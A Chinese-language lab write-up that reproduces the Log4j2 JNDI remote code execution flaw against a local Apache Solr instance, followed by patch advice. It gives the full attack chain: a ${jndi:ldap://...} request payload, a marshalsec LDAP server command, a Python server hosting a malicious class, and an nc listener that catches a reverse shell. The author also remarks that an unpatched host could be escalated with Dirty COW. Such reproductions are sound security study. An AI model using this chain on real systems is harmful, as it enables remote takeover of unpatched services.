漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入
黑盒检测工具
这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面
自行GitHub搜索 log4jscan
dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞
靶场搭建
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
使用浏览器访问:
http://192.168.64.128:8983/solr/#/
漏洞检测
通过burp扩展插件和dnslog日志查看漏洞信息
这里确认indexInfo参数触发漏洞
漏洞利用
参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行
恶意类
这里先写一个恶意类 Exploit.java,并编译为class文件
1 | import java.io.IOException; |
直接使用python启动服务
1 | python -m SimpleHTTPServer 80 //xxx为web端口 |
启动恶意ldap服务器
之前复现fastjson的直接拿过来用
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口 |
nc 监听反连端口
nc -lvvp x //x 为恶意类指定的反连端口
触发漏洞
发送请求
1 | GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1 |
查看ldap服务器响应
查看web服务响应
查看nc监听,可以看到拿到shell了
这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略
修复建议
升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以